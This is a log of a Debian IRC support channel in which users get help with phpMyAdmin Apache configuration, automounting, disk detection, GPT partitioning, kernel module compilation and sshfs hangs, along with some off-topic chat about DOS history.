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| 16:29.43 | EdePopede | wols_: i have no idea. used suse+kde for years and just switched back to debian some weeks ago. always used fstab+mount and now it only comes up when i edit fstab (what i do right now) |
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| 16:33.48 | blubberdiblub | EdePopede, lxde should have some setting relating to that. if not, maybe the default file manager lxde is using does it. often they do it using "hal", so you might also be able disabling it with some config files of hal, but that's too deep magic for me, so i don't know about it |
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| 16:36.44 | EdePopede | thats what i reaaly hate about this desktop stuff. file managers should do what midnight commander does and nothing more. only makes things comlicatedand unusable |
| 16:37.47 | EdePopede | and hal... i tried to avoid to care about it through the years, worked good until i changed to an uptodate system :/ |
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| 16:51.38 | TheRedOctober | Hi all. After adding a device to increase the size of an MD raid, how do you get LVM to recognize the increased size of the MD device? |
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| 16:58.22 | dobalina | i just installed phpmyadmin via debian packages (i'm not sure this is actually secure but) obviously everything was done as root which means that obviously the apache2 running under www-data (afaik) will not be allowed permission to /usr/share/phpmyadmin via the symlink in the virtual host... wouldn't it be a massive security risk to adjust permissions on the files or sym links pointing to |
| 16:58.23 | dobalina | /usr/share/phpmyadmin? |
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| 16:59.42 | Digdilem | dobalina, phpymadmin has its own apache.conf which should be linked to apache's conf dir, then apache restarted |
| 17:00.06 | Digdilem | sometimes that doesn't happen automatically, but i've not seen any hassle with permissions as you describe |
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| 17:01.56 | dobalina | well what i wanted to do was not have it global for all of apache i wanted to to configure phpMyAdmin access on per VirtualHost basis. |
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| 17:02.14 | dobalina | the damn installer didn't give me an option for that as far as i could see |
| 17:03.36 | dobalina | if that makes any sense? |
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| 17:09.38 | dobalina | how can i check to make sure phpmyadmin isn't declared globally for all of apache? |
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| 17:11.17 | th0r | dobalina: if you don't have a website and user defined for testing purposes, now might be a good time |
| 17:11.36 | abrotman | dobalina: all of apache? |
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| 17:13.11 | dobalina | th0r i do have a site to test on |
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| 17:13.34 | dobalina | abrotman i mean globally... i only want phpmyadmin to beaccessible via specific defined virtual hosts |
| 17:13.40 | dobalina | not for all sites on apache |
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| 17:14.54 | dobalina | because the deb installer i think enables it across apache globally by default (i could be wrong tho) |
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| 17:15.18 | Lis | dobalina there is a config file called phpmyadmin in /etc/apache2 just move that config file out of the directory and its contents into a virtual domain |
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| 17:15.48 | Lis | dobalina also remove the include fromt the apache config |
| 17:17.00 | dobalina | in apache2.conf ? |
| 17:17.14 | dobalina | well i dont' seem to have either of those in there so i guess that's a good sign |
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| 17:17.58 | abrotman | or a bad sign ... |
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| 17:18.29 | dobalina | basically during the install of the deb package when it asked me which web server to have it autoconfigure i used to always have a 3rd option which was "none" but this time there wasn't one there it was saying i had to choose either apache or lighttps etc. so i hit ESC and it went onto the next step (not sure if that was teh same as basically "none" x) |
| 17:18.53 | dobalina | i mean it installed alrigth afaik |
| 17:19.41 | dobalina | i think maybe if i just change the file permissions on the symlink in the virtual hosts doc root and the /usr/share/phpmyadmin it might work (i was just worried doign that might post a security risk but i suppose not so long as they're only readable) |
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| 17:20.18 | dobalina | basically 755 and 711 them |
| 17:20.28 | bamccaig | I'm trying to disable the PC speaker beep, but have been unsuccessful.. |
| 17:21.11 | bamccaig | I've done 'modprobe -r pkspkr' and also added a /etc/modprobe.d/beep-blacklist.conf containing 'blacklist pcspkr'. |
| 17:21.17 | bamccaig | Neither seems to be doing what I want. |
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| 17:21.56 | dobalina | Lis i do have a apache.conf in /etc/phpmyadmin mind you... |
| 17:22.02 | bamccaig | I'm running Debian in a VMware workstation VM. |
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| 17:22.23 | dobalina | probably unrelated tho |
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| 17:22.50 | wols_ | !tell bamccaig about blacklist |
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| 17:23.52 | Lis | dobalina there is a phpmyadmin.conf in the /etc/apache2 directory. I can not really check this but i'm nearly shure. just try to: find /etc/apache2 -type f |xargs grep "phpmyadmin" you could also search for the file included in the apache2 configuration to find that file |
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| 17:24.19 | Lis | dobalina i just remove apache2 completely and phpmyadmin and replaced it with nginx so i can't check it |
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| 17:25.16 | Lis | dobalina i think it was in /etc/apache2/conf.d |
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| 17:25.32 | dobalina | checking |
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| 17:25.59 | dobalina | nope nothing |
| 17:26.04 | dobalina | no worries |
| 17:26.08 | dobalina | i'll figure it out ;) |
| 17:26.18 | Lis | good luck |
| 17:26.31 | dobalina | on a completely unrelated note though does anybody know of any alternative to MC? |
| 17:26.38 | dobalina | text based for terminal |
| 17:26.54 | dobalina | or is MC still the creme de la creme when it comes to that type of app |
| 17:27.12 | Lis | http://freshmeat.net/search?q=file+manager&submit=Search |
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| 17:27.29 | bamccaig | wols_: Thanks. |
| 17:27.32 | Kharec | good evening |
| 17:27.35 | dobalina | mmm alright i was asking for a recomendation tho ;) |
| 17:27.44 | dobalina | no worries i'll poke around |
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| 17:30.03 | jhutchins_lt | dobalina: I know that there have been a handful of similar packages, but I think they may have faded away because they didn't have much else to offer. |
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| 17:30.31 | jhutchins_lt | dobalina: Remeber that mc is actually evolved from the old DOS file managers. |
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| 17:34.23 | twobitsprite | jhutchins_lt: I thought it was just a norton commander clone |
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| 17:35.07 | jhutchins_lt | Norton actually drew on serveral predecessors including qdos and Microsoft's own file manager. It was a latecomer. |
| 17:36.00 | jhutchins_lt | Style and function had been pretty well established by the time it came along, but Norton had a commercial, promotional advantage. |
| 17:36.20 | twobitsprite | jhutchins_lt: huh.. never heard of those |
| 17:37.10 | jhutchins_lt | It's one of the examples of convergent eveolution of Open software. Although shareware wasn't Open Source, it preshadowed a lot of what Open Source does in that it allowed direct feedback from the end users, and if a product didn't respond to a need it faded away. |
| 17:37.32 | Lis | jhutchins_lt since when did microsoft invent something before another company did? *hides* |
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| 17:38.06 | catsup | today is the 30th anniversery of the day microsoft bought DOS |
| 17:38.13 | jhutchins_lt | Lis: They adopted most of the file manager from existing products including shareware. I think it originally appeared in DOS 4.0. |
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| 17:38.56 | Lis | jhutchins_lt ya i worked with pc geos some time was really awesome compared to the micrsoft stuff |
| 17:39.17 | karlpinc_ | Sounds like a job for #debian-offtopic! |
| 17:39.26 | jhutchins_lt | catsup: Are you sure? The IBM PC was already in the market in 1981. |
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| 17:40.44 | drwrr | all i needed back then was a batch file that let me choose whether to start sam&max or syndicate .. |
| 17:40.56 | cahoot | 1982 |
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| 17:42.10 | eflynn | USB mouse isn't working. Just recompiled kernel. Where do i start to fix this? |
| 17:42.11 | pipeline | In July 1981, Microsoft bought all rights to the DOS from Seattle Computer, and the name MS-DOS was adopted. Shortly afterward, IBM announced the Personal Computer, using as its operating system what was essentially Seattle Computer's 86-DOS 1.14. |
| 17:42.17 | pipeline | whoops wrong channel |
| 17:42.37 | catsup | jhutchins_lt: it's just a front page article on slashdot.org |
| 17:42.50 | catsup | http://tech.slashdot.org/story/11/07/27/1428210/MS-DOS-Is-30-Years-Old-Today |
| 17:42.59 | catsup | i have not verified it :) |
| 17:43.05 | jhutchins_lt | catsup: ->#d-ot |
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| 17:43.41 | eflynn | Anyone? |
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| 17:53.11 | bamccaig | Success. \o/ |
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| 18:02.31 | deepa | Anyone have a html5 capable vnc server? |
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| 18:02.47 | twobitsprite | what does that mean? |
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| 18:03.07 | JonSparks | Hey |
| 18:03.09 | twobitsprite | you mean, a vncserver that runs in your browser using vector graphics? |
| 18:03.15 | JonSparks | I need help mounting a secondary hdd |
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| 18:03.37 | JonSparks | I plugged in a 60gb hdd in addition to my primary, but it won't show up in fdisk -l or df -h |
| 18:04.18 | wols_ | JonSparks: what's the devicename of your current hdd? |
| 18:04.20 | junix659 | Hi I'm trying to setup AjaXplorer (www.ajaxplorer.info) and seem to be having some issues. I am trying to get it working with MySQL across 2 servers both Debian 6 ( a front facing web server with a MySQL server not opened to the outside). I have MySQL talking to the rest of the network, and it seems that I can connect to the server but I can't add users or upload files. I have run the sql fiels to create the tables and databases but, I can't |
| 18:04.21 | junix659 | <PROTECTED> |
| 18:04.21 | abrotman | does it show up in dmesg ? |
| 18:04.23 | JonSparks | sda1 |
| 18:04.32 | wols_ | JonSparks: cfdisk /dev/sdb then most likely |
| 18:04.45 | wols_ | and it should show up in dmesg as abrotman suggested |
| 18:04.47 | abrotman | JonSparks: dmesg | grep sd .. look for your drives |
| 18:04.49 | JonSparks | can't open |
| 18:04.56 | abrotman | don't guess at device names |
| 18:05.10 | abrotman | next thing you know, you'll be fdisking your monitor |
| 18:05.13 | deepa | twobitsprite: a vnc server that lets you use html5 to control it ofc |
| 18:05.15 | JonSparks | all im seeing is sda1 |
| 18:05.19 | JonSparks | and sda 4-5 |
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| 18:05.29 | abrotman | JonSparks: with 'dmesg | grep sd' ? |
| 18:05.39 | twobitsprite | deepa: control it how? you mean, instead of using a vnc client? |
| 18:06.05 | deepa | Yes |
| 18:06.05 | JonSparks | abrotman, yep. noting but sda stuff |
| 18:06.12 | deepa | Well, the vnc client would be in html5 |
| 18:06.50 | twobitsprite | deepa: have you tried google? I found one, first hit |
| 18:07.29 | abrotman | JonSparks: did you uh .. reboot? |
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| 18:07.38 | abrotman | (after connecting the HDD i mean) |
| 18:07.39 | JonSparks | yes i did |
| 18:07.46 | JonSparks | Well I put it in before booting |
| 18:07.52 | abrotman | does the BIOS see it ? |
| 18:08.09 | JonSparks | Not sure, doesn't have a monitor |
| 18:08.22 | abrotman | that'd be a good thing to check |
| 18:08.23 | noobadix | Hi! Could any1 help me telling ALSA to use my PCI-Soundcard instead of the onboard-soundchip? |
| 18:08.25 | JonSparks | And I can't access its bios over the net |
| 18:08.38 | JonSparks | I suppose i can move it to my desk and try |
| 18:08.46 | abrotman | !tell JonSparks about whats my hardware |
| 18:08.52 | abrotman | you can use some of those to look for devices |
| 18:09.02 | JonSparks | ok |
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| 18:09.43 | abrotman | if it's sata, lsscsi will show it |
| 18:09.51 | abrotman | (or should anyway) |
| 18:09.54 | JonSparks | IDE i believe |
| 18:10.01 | abrotman | yay jumpers! |
| 18:10.19 | wols_ | JonSparks: dmesg|grep ata dmesg |grep dma |
| 18:10.30 | JonSparks | Its just an unused desktop I got and I added some stuff and use it as a backup server |
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| 18:10.46 | abrotman | dmesg | grep hd ? |
| 18:11.09 | JonSparks | abrotman, that didnt do anything |
| 18:11.12 | abrotman | okay |
| 18:11.24 | JonSparks | and wols_, ata1 and ata2 showed up |
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| 18:11.49 | JonSparks | I supppose it couldn't hurt to move it over to my desk and have a look into its bios |
| 18:12.08 | abrotman | use a drill! |
| 18:12.13 | Ox90 | hey, i downloaded the linux source package, there is just one driver i want to compile, how can i compile just the be2net driver from this? |
| 18:12.16 | JonSparks | a drill? |
| 18:12.19 | JonSparks | for what? |
| 18:12.37 | abrotman | to look *into* the bios |
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| 18:13.32 | twobitsprite | !be2net |
| 18:13.32 | dpkg | be2net is a driver for ServerEngines BladeEngine2/3 10 Gigabit PCI-E network adapters, included in the mainline Linux kernel as of 2.6.29. The driver was backported and enabled in linux-2.6 2.6.26-22, ask me about <5.0.5>. |
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| 18:13.59 | twobitsprite | Ox90: why do you need to compile it? |
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| 18:14.46 | Ox90 | i have the nic im running squeeze, i want to compile the driver from the testing branch |
| 18:15.10 | twobitsprite | is there something wrong with the one in squeeze? |
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| 18:15.30 | deepa | twobitsprite: I hope you weren't talking about ThinVNC, that's only on Windows |
| 18:16.04 | Ox90 | yeah, for some reason when i send out packets with an ethernet trailer something rewrites the trailer into the ip packet |
| 18:16.12 | Ox90 | its crazy! |
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| 18:17.51 | Ox90 | s/packet frame/ :P |
| 18:17.56 | Ox90 | urgh |
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| 18:19.16 | psilikon | When did the debian installer start using GUID Partition table instead of MBR? |
| 18:19.56 | deepa | I'm having problems installed ca-certificates-java, I get "error adding mozilla/ValiCert_Class_1_VA.crt" |
| 18:20.00 | deepa | and well, error for everyone file |
| 18:20.09 | deepa | very useless errors in fact |
| 18:20.12 | simonlnu | psilikon: not instead, in addition |
| 18:20.25 | deepa | oh |
| 18:20.25 | deepa | Could not create the Java virtual machine. |
| 18:20.39 | abrotman | simonlnu: in the fstab ? |
| 18:20.58 | simonlnu | O_o |
| 18:21.38 | psilikon | simonlnu, Is it possible to force it to do MBR during the install? Did the installer automagically use GPT due to the drive size (2GB). I am checking out wikipedia to make sure I understand GPT as we speak... |
| 18:21.42 | simonlnu | fstabs abrotman |
| 18:21.44 | Jiyuusenshi | you can make use of the GPT advances over MBR even on BIOS-based systems. but you will not be able to use windows-systems on that drive! |
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| 18:22.32 | Jiyuusenshi | iirc you can choose, which one you want to use. |
| 18:22.33 | simonlnu | psilikon: i don't know. try doing doing it manually. |
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| 18:23.15 | Jiyuusenshi | but why do you want to keep the mbr-system? |
| 18:23.25 | simonlnu | partitioning manually i mean |
| 18:23.28 | psilikon | simonlnu, When I manually part'd the drive I was unable to install grub. Seems I needed the BIOS partition that the guided option created. |
| 18:23.37 | JonSparks | not seeing the secondary drive in the bios. i think the disk may be bad |
| 18:23.41 | JonSparks | ill try another drive |
| 18:23.46 | simonlnu | grub2 doesn't do gpt very well still |
| 18:24.08 | wols_ | JonSparks: cable is more likely bad usually |
| 18:24.08 | psilikon | Jiyuusenshi, I was just running into some confusion while trying to setup a linux raid system and I attributed the extra confusion to GPT since it was new to me. |
| 18:24.36 | fignewman | I've been using xmodmap to map my numpad keys to XF86Audio* symbols, but I see xmodmap is somewhat deprecated now. I've already switched to setxkbmap for remapping of my caps lock key, but I can't figure out how to handle the XF86Audio* stuff. |
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| 18:24.47 | fignewman | This is on sid and I'd be happy to RTFM if someone will point me to the M |
| 18:24.52 | JonSparks | wols_, it's on the same cable as the primary |
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| 18:26.02 | aminpy | I reboot my system and I see this message "Misssing operating system", what should I do?! |
| 18:26.18 | simonlnu | install one |
| 18:26.27 | JonSparks | ^^ |
| 18:26.37 | aminpy | why!! |
| 18:26.48 | aminpy | my os worked very well |
| 18:26.50 | aminpy | :( |
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| 18:26.55 | mjt | it means there's no active partition found |
| 18:27.01 | wols_ | aminpy: so what changed between now and then? |
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| 18:27.09 | simonlnu | 1) grab towel 2) don't panic 3) install one 4) or figure out why it isn't being seen, maybe you did something to your bios |
| 18:27.10 | JonSparks | one of mine did that a couple days ago |
| 18:27.22 | JonSparks | turns out i screwed up grub |
| 18:27.27 | Jiyuusenshi | grab a towel? for the tears? :D |
| 18:27.29 | JonSparks | fxed it rather easily |
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| 18:27.40 | simonlnu | hhgttg |
| 18:27.48 | wols_ | Jiyuusenshi: no, for not panicking |
| 18:27.53 | aminpy | JonSparks: how can I fix it? |
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| 18:28.12 | simonlnu | kids... *sigh* |
| 18:28.14 | fignewman | aminpy: did you leave a CD or USB device plugged in that might be higher in the boot order? |
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| 18:28.31 | jhutchins_lt | aminpy: What did you change before your last reboot? |
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| 18:28.48 | jhutchins_lt | aminpy: What the system is saying is that it can't find an OS loader on any of the devices it knows to look on. |
| 18:29.00 | JonSparks | aminpy: Check bios, see if drive is there. If not, get a live cd and browse and see if your filesystem is there |
| 18:29.12 | JonSparks | you may be able to just reinstall grub from your live cd |
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| 18:30.07 | MindG33k | hi all! |
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| 18:30.24 | simonlnu | o_O |
| 18:30.39 | wols_ | simonlnu: at least he was polite and greeted nicely |
| 18:30.48 | simonlnu | sure did |
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| 18:31.41 | JonSparks | yeah, drive seems bad. |
| 18:31.47 | JonSparks | tried another cable and same thing |
| 18:32.52 | iateadonut | if i don't want (adobe) flash to be used at certain times, like between 12am-6am, and it should also be turned off at that 12am, is it best to write a cron which installs every minute after 6am and removes every minute after 12am? |
| 18:33.05 | iateadonut | is there a better way to do this? |
| 18:34.13 | FDFlock | iateadonut: I don't know, but that method sounds pretty horrible, doesn't it? |
| 18:34.15 | JonSparks | doubt it |
| 18:34.19 | rudi_s | iateadonut: Don't use flash .. |
| 18:34.33 | rudi_s | iateadonut: Well, chmod 0700 sounds simpler than installing and uninstalling. |
| 18:34.43 | drwrr | iateadonut, use a proxy that filters out any flash content based on your schedule? |
| 18:34.45 | JonSparks | just make a script to kill its processes between those times and restart when you want it? |
| 18:34.48 | simonlnu | chmod 000 |
| 18:34.53 | wols_ | iateadonut: and it might not work. if the browser plugin is loaded before your cron job runs, how is it gonna unstinall it? from a running browser? |
| 18:35.01 | rudi_s | But an user could copy it to his home .. |
| 18:35.03 | simonlnu | be easier to use a proxy |
| 18:35.11 | FDFlock | also, what would happen with open browser instances? |
| 18:35.18 | simonlnu | like drwrr said |
| 18:35.19 | FDFlock | some could crash |
| 18:35.28 | iateadonut | wols_ it works to uninstall it from a working browser - i've tried. the plugin itself crashes. |
| 18:35.41 | wols_ | apart from the user installing flash on its own as suggested and many other possibilities. e.g downlading the flash movie and playing via vlc, etc |
| 18:35.42 | iateadonut | i'll check chmod |
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| 18:36.12 | iateadonut | hmmm... good points |
| 18:36.14 | JonSparks | hmm |
| 18:36.24 | JonSparks | I guess I'll just stay with one hdd for now |
| 18:37.40 | iateadonut | it would have to be something on the router, then. |
| 18:38.00 | JonSparks | dd-wrt your router and set a filter? |
| 18:38.44 | Ox90 | re: compiling a single module from the linux-source package. The command i wanted was $ make modules SUBDIRS=path/ |
| 18:38.52 | Ox90 | :) |
| 18:38.59 | drwrr | iateadonut, count on your users finding ways around it, causing more annoyance than just letting them watch youp... err youtube :) |
| 18:39.20 | wols_ | JonSparks: seen a router that does L7 filtering properly? |
| 18:39.37 | JonSparks | nope |
| 18:39.44 | JonSparks | i have cheap routers around here |
| 18:39.47 | Ox90 | wols_, not a true router but check out citrix netscaler :) |
| 18:40.04 | Ox90 | not a router at all really lol |
| 18:40.24 | wols_ | JonSparks: then your suggestion is moot |
| 18:40.48 | peterrooney | what was (the first|an early) transparency-capable window manager? |
| 18:43.45 | abrotman | peterrooney: compiz ? beryl ? |
| 18:44.02 | peterrooney | abrotmat Xweird? |
| 18:45.23 | peterrooney | abrotman, thanks for the hint. on my way, now. |
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| 18:55.18 | guest123456 | does anyone here have demonoid invite codes? |
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| 18:57.00 | guest123456 | seriously? |
| 18:57.05 | JonSparks | yes |
| 18:57.05 | guest123456 | what's the problem? |
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| 19:05.39 | woshty | how to select default/first alsa mixer/audiodevice? |
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| 19:06.46 | wols_ | woshty: http://alsa.opensrc.org/FAQ026 found as first hit of http://www.google.com/search?q=select+default++alsa+device |
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| 19:07.38 | EdePopede | since lxde behaves in a way i don't seem to untderstand: how can i tell debian not to care at all about disk/partition changes? like changing a mount point in fstab or inserting an usb stick? |
| 19:08.05 | th0r | EdePopede: that question made no sense |
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| 19:08.32 | mjt | each filemanager has its own settings for that |
| 19:08.33 | jhutchins_lt | th0r: Me niether. |
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| 19:08.52 | wols_ | th0r: he wants to disable automounting |
| 19:09.24 | th0r | wols_: I need to find out how you got there <smile> |
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| 19:10.32 | mjt | for lxde especially, hit "Edit -> Parameters" in file manager, choose "Volume management" and en/disable options there. |
| 19:11.26 | gilead | I've been using Debian for ages before, but a few years ago it couldn't install my next machine so I switched to Ubuntu. Now that Ubuntu is dropping Gnome 2 in its next release I will not update to 11.10 and would like to go back to Debian as I refuse to switch to Unity or Gnome 3 (tried Unity and IMHO it was completely unusable). |
| 19:11.27 | gilead | Will Debian support Gnome 2 for the foreseeable future or are there plans to drop it as well? |
| 19:12.36 | wols_ | !gnome3 |
| 19:12.36 | dpkg | GNOME 3 is the new and not yet complete version of the GNOME desktop environment. Bits of it are starting to work their way into Debian unstable at the moment and wheezy will release with it. See http://www.0d.be/debian/debian-gnome-3.0-status.html for details. Also ask me about <install gnome>. |
| 19:12.56 | mjt | supporting yet another desktop environment requires another pile of resources |
| 19:13.20 | mjt | there was talks about keeping previous kde too, but that ended nowhere. |
| 19:13.57 | gilead | so Gnome 3 is not yet ready but when it is, will Gnome 2 be dropped? mjt, that sounds like it will be? |
| 19:15.00 | mjt | at least if gnome2 wont be supported upstream it will be dropped most likely |
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| 19:15.09 | EdePopede | in the 2 files in .../pcmanfm there is also [volume] where the settings for automount and autorun are ... i checked the 2nd in the dialog and in the root version the 1st. now LXDE.conf has mount_removable=1 (user's setting) and pcmanfm.conf has mount_on_startup=1 (root's setting) <<< that's what i just wrote in #lxde... |
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| 19:15.33 | EdePopede | i have problems accepting a file manager being more than that :/ |
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| 19:15.42 | gilead | ok, thanks mjt |
| 19:15.58 | mjt | gilead: but that's quite logical, don't you think? |
| 19:15.59 | somiaj | gilead: yes, debian doesn't have multiple versions of a single package in its stable releases. A good amount of the change is just upgrading the base package to the new version and then including any extras // removing anything that breaks. |
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| 19:16.48 | gilead | mjt: from the distro point of view yes, it kind of does; the thing is, unity/gnome 3 are turning the way users are expected to work upside down, and IMHO for the worse :/ |
| 19:17.22 | somiaj | gilead: With small packages having multiple versions like gcc4.5 gcc4.6 etc is more feasable, but for large groups of software its would be lots of work to split all the dependencies in gnome to package2 and package3 for the two versions |
| 19:17.26 | mjt | yes i understand what you mean |
| 19:18.04 | wols_ | somiaj: gcc is small? |
| 19:19.03 | mjt | it's just a few self-contained packages |
| 19:19.07 | gilead | I've tried XFCE but it's not there yet, tried KDE but it's too flashy and just felt wrong (or I'm weird :P ), Enlightenment seems to require a ton of tweaks... <despair> :) |
| 19:19.11 | somiaj | in terms of dependencies. |
| 19:20.03 | woshty | wols_: thx .. is that equiv to default.pcm|timer|ctl.card? |
| 19:20.04 | gilead | ok, not your problem, sorry for complaining, it just seems to be wrong to destroy the, IMHO, most usable desktop out there |
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| 19:20.20 | th0r | gilead: gnome? |
| 19:20.26 | gilead | yes |
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| 19:20.41 | th0r | that's what makes the world go round, I guess |
| 19:20.44 | mjt | they call it "progress", fwiw :) |
| 19:20.50 | mjt | heh |
| 19:20.58 | deepa | I WILL REIGN MURDER DOWN ON THESE PEOPLE! |
| 19:21.01 | somiaj | gilead: there is no reason you cannot compile your own version of gnome and put it on your system. |
| 19:21.09 | deepa | I have tried, unsuccessfuly to install no less than 20 kinds of applications |
| 19:21.16 | wols_ | !pal deepa a |
| 19:21.16 | dpkg | points at deepa a and laughs uproariously |
| 19:21.20 | deepa | EVERY SINGLE ONE depends on Perl 5.12 or newer |
| 19:21.25 | gilead | somiaj: yeah, I gues, perhaps I just got lazy :D |
| 19:21.28 | smacnay | rain |
| 19:21.31 | MarKsaitis | how do I get critical security updates and other stuff for my debian? :) |
| 19:21.35 | themill | takes away deepa's capslock |
| 19:21.38 | deepa | and whenever I install Perl 5.12 dpkg segfaults |
| 19:21.41 | somiaj | gilead: or find a distro which sticks with gnome2, their may be some out there. |
| 19:21.43 | th0r | deepa: your complaint is....you keep installing Perl apps and they require perl? |
| 19:21.44 | themill | !wayttd deepa |
| 19:21.45 | dpkg | What Are You Trying To Do, deepa? |
| 19:21.45 | wols_ | !tell MarKsaitis about sources.list |
| 19:22.01 | deepa | th0r: I tried installing all kinds of stuff |
| 19:22.01 | wols_ | ,versions perl-base |
| 19:22.02 | judd | Package perl-base on i386 -- lenny: 5.10.0-19lenny3; lenny-security: 5.10.0-19lenny5; squeeze: 5.10.1-17squeeze1; squeeze-proposed-updates: 5.10.1-17squeeze2; squeeze-security: 5.10.1-17squeeze2; sid: 5.12.4-1; wheezy: 5.12.4-1; experimental: 5.14.0-1 |
| 19:22.06 | themill | dpkg: tell MarKsaitis about security |
| 19:22.11 | deepa | and everyone at some way had a dependency on perl |
| 19:22.19 | wols_ | deepa: please don't tell us you run squeeze |
| 19:22.20 | deepa | and dpkg segfaults whenever I try to upgrade it |
| 19:22.26 | themill | deepa: please stop being vague and start putting information in a pastebin. |
| 19:22.29 | themill | dpkg: tell deepa about bat |
| 19:22.51 | MarKsaitis | themill, why is it not put there by default? |
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| 19:23.19 | themill | MarKsaitis: the installer does so if there is a working internet connection at install time. |
| 19:23.29 | deepa | themill: I'm nuking the install |
| 19:23.36 | deepa | I just wanted to discuorage up and coming developers from using perl |
| 19:23.43 | MarKsaitis | themill, oh, I see. I installed from netinst iso, so that means it should be there |
| 19:24.03 | somiaj | deepa: are you trying to install perl 5.12 on debian 6.0 (squeeze)? If so how? Its not part of the offical repos. |
| 19:24.05 | mjt | deepa: that makes no sense at all. If you can't do something it doesn't mean everyone else can't too. |
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| 19:24.42 | deepa | mjt: I don't like perl, I'm content with it since it's needed |
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| 19:24.59 | themill | deepa: please don't confuse your misconfiguration with a wider problem. |
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| 19:30.26 | Iridos | is there a way to make sshfs more robust against network outages (which includes only apparent outages due to suspend/hibernate)? After using sshfs I sometimes forget to unmount and then after suspend or just a regular network problem all kinds of processes trying to read $HOME hang (because I usually mount that to $HOME/server) |
| 19:30.59 | woshty | how do i tell xfce not to save any session data. i do not want it to start xterms at startup |
| 19:31.08 | woshty | Iridos: autofs? |
| 19:31.32 | Iridos | I wonder if one can give it autossh as "the ssh client" |
| 19:31.35 | Iridos | what's autfs |
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| 19:32.17 | Iridos | oh... I knew what autofs is.. .how'd that be helpful in this case? |
| 19:32.35 | somiaj | Iridos: you could add some ifup/ifdown scripts that will bring up and down your sshfs mounts when your network is up and down -- connect that with a network manager and it could happen in the background. |
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| 19:33.03 | somiaj | autofs is a tool for auto mounting/unmounting file systems -- usually like usb drives / cds etc, but could be used for your case (though I'm unsure how) |
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| 19:33.27 | Iridos | somiaj, I would be content if it's automatically unmounted before it causes everything to hang.. but that can be difficult as mount refuses to do that as long as something is open |
| 19:33.38 | somiaj | Iridos: if its only when you suspend/hibernate that you have the issue, you could set up a script with pm-utils (or your suspend/hibernate process) that will umount/mount the shares |
| 19:33.44 | themill | Iridos: I've pondered the same problem a few times recently... I now mount from a script that uses lsof to poll if the mount point is still in use and if not umounts it. Not a satisfactory solution, but better. |
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| 19:34.56 | Iridos | themill, I see... hm, that could actually work in conjunction with something like autofs (which, from memory, was the one that automatically mounts stuff when you try to access a file in that place... which I personally always found a bit eerie) |
| 19:35.35 | themill | autofs can do the umounting itself if the mount point is inactive for a given period of time. I just didn't really want to go down that route |
| 19:35.39 | Iridos | somiaj, I think it sometimes also fails when there are short outages with the wireless, so that wouldn't work |
| 19:36.27 | somiaj | Iridos: do you run a network manager? |
| 19:36.29 | Iridos | themill, I guess the correct fix would be for sshfs to handle outages better and just forcibly unmount whenever there's a problem... perhaps it even does, but after a much-too-long timeout? |
| 19:36.49 | Iridos | somiaj, on this machine actually yes |
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| 19:37.49 | somiaj | Iridos: I know you can add post up and pre down scripts to the network, maybe with network manager (I don't use it) you can also add a script that runs when it detects the network has droped. |
| 19:37.55 | themill | Iridos: sshfs has some tuning parameters for this; I don't know how well they solve this exact problem as I've avoided it with my crappy script for some time now. (-o intr may be of interest) |
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| 19:38.40 | Iridos | actually after talking about it here gave me better terms to search for :) |
| 19:38.49 | Iridos | looks over http://www.linuxquestions.org/questions/linux-desktop-74/how-to-keep-alive-or-reconnect-fuse-sshfs-mount-between-sleep-hibernate-834739/ |
| 19:38.49 | somiaj | i.e. mount after the interface is brought up...then unmount it before the interface is brought down...but only if you have nm running will you detect if your system drops. |
| 19:39.41 | Iridos | hehe... " SSHFS (fuse) will hang, preventing any file open/save dialogs from functioning (the wife loves this)." |
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| 19:40.07 | Iridos | not only "the wife"... I also love this... specially when you forgot that sshfs is the cause |
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| 19:40.58 | themill | Iridos: yeah, programs that have a lock file or some sort of other singleton mechanism that mean they can only be run once and then end up in a D state.... bad news. |
| 19:41.31 | TrueDD | Hi all |
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| 19:42.38 | Iridos | themill, not what was meant here... I mount to $HOME/c ... then I try to open a file in the browser/office/whatever and it traverses $HOME and gets stuck on trying to read the stats or something of $HOME/c ... so you have an "open-file" dialog that hangs for half a minute, because the sshfs drive is like a dead disk or so |
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| 19:44.27 | Iridos | oh... there's a package "afuse" in debian which implements autofs functionality for fuse |
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| 19:45.27 | themill | Iridos: I didn't find it useful |
| 19:45.50 | Iridos | themill, what happens when you open a file on the disk and forget that it's from the mounted drive... then your script can't unmount either? |
| 19:46.01 | Iridos | why not? looks like just the thing to me? |
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| 19:47.18 | themill | Iridos: sure, the script doesn't help there and nothing that I know of can help. |
| 19:48.06 | Endres | I installed squeeze on my amd64 machine a couple of days ago. Today I replaced the motherboard, because it supports my new graphics card. But now I don't have any ethernet connection and it seems that the onboard chip isn't recognized. The ethernet connection itself worked as for testing I tried it on windows. It is a AsRock N68C-S UCC board with GeForce 7025 / nForce 630a Chipset... |
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| 19:48.36 | abrotman | !tell Endres about z60 |
| 19:48.40 | abrotman | uhm ... |
| 19:48.54 | abrotman | !tell Endres about z70 |
| 19:49.09 | themill | !70 |
| 19:49.09 | dpkg | udev has the ability to statically rename Ethernet cards based on MAC address since version 0.090. The addresses are configured in /etc/udev/rules.d/70-persistent-net.rules (Squeeze, Lenny) or /etc/udev/rules.d/z25_persistent-net.rules (Etch). If you want the mappings to change, edit the respective file. To apply changes: "udevadm trigger" ("udevtrigger" on Etch) or reload the relevant driver module. See also <forcedeth mac>, <udev>. |
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| 19:49.19 | Endres | thanks |
| 19:49.19 | themill | abrotman: so close ;) |
| 19:49.19 | Iridos | themill, the only thing I can think of would be to do a lazy unmount after a certain time of inactivity (how does one determine that.. inotifywait?) ... but as that means it's still waiting for the FS to get free for the real umount, that's of limited usefulness |
| 19:49.33 | Endres | themill: !tell works very well ;) |
| 19:49.33 | themill | Iridos: yep |
| 19:50.10 | Iridos | yet, the trick is to use the name of the correct factoid |
| 19:50.11 | themill | heh... obviously a mistake made often enough that there's an alias for that factoid |
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| 19:50.23 | themill | !literal z70 |
| 19:50.23 | dpkg | "z70" is "<reply> see 70" |
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| 19:50.46 | Iridos | mistake! it's not a bug, it's a feature |
| 19:51.39 | steve_any | anyone know if "truncate --size=+" still works? |
| 19:51.51 | abrotman | themill: z70 works also |
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| 19:52.30 | themill | quite, not that the file was ever called that... |
| 19:52.31 | Iridos | themill, what was the backdraw of using afuse? |
| 19:52.49 | themill | Iridos: too long since I looked at it. It just didn't seem to solve the problem for me at all |
| 19:53.51 | steve_any | anyone familure with useing the truncate command? |
| 19:53.52 | Iridos | themill, hm... i think I see why. It doesn't autmatically unmount. |
